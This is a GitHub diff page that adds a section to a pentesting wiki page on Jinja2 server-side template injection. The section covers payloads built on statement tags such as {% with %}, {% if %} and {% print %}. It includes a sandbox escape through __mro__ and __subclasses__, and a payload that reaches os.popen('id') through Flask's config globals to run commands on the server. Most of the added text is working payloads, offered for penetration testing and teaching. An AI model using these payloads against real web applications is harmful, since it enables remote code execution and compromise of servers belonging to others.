You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
+47Lines changed: 47 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -175,6 +175,52 @@ The call to `__subclasses__` has given us the opportunity to **access hundreds o
175
175
176
176
```
177
177
178
+
### Payloads with `{% ... %}`
179
+
180
+
Sometimes `{{ ... }}` is blocked, sanitized or the injection lands inside a statement-friendly context. In those cases you can still abuse Jinja statement tags such as `{% with %}`, `{% if %}`, `{% for %}`, `{% set %}` and, in newer versions, `{% print %}` to execute code, leak data through the block body, or trigger blind side effects.
181
+
182
+
```python
183
+
{% raw %}
184
+
# Simple statement-tag primitives
185
+
{%print(1) %}
186
+
{%if7*7==49%}OK{% endif %}
187
+
{%if7*7==50%}BAD{%else%}ELSE{% endif %}
188
+
{%set x = 7*7%}{{ x }}
189
+
{%for i inrange(3) %}{{ i }}{% endfor %}
190
+
{%with a = ''.__class__%}{{ a }}{% endwith %}
191
+
{%print(''.__class__.__mro__[1]) %}
192
+
{%with x = ''.__class__.__mro__[1].__subclasses__()|length %}{{ x }}{% endwith %}
193
+
194
+
# Flask-like contexts: use already reachable globals/functions
195
+
{%with a = config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read() %}{{ a }}{% endwith %}
If the target filters some chars but still allows statement tags, combine this idea with the [filter bypasses](jinja2-ssti.md#filter-bypasses) and the [no-`{{` / no-`.` / no-`_` example](jinja2-ssti.md#without-several-chars). Also remember that `{% print %}` is not mandatory: on targets where it is unavailable, `{% with %}`, `{% if %}`, `{% set %}` and `{% for %}` are usually enough to keep exploiting the template.
223
+
178
224
To learn about **more classes** that you can use to **escape** you can **check**:
179
225
180
226
@@ -357,6 +403,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
0 commit comments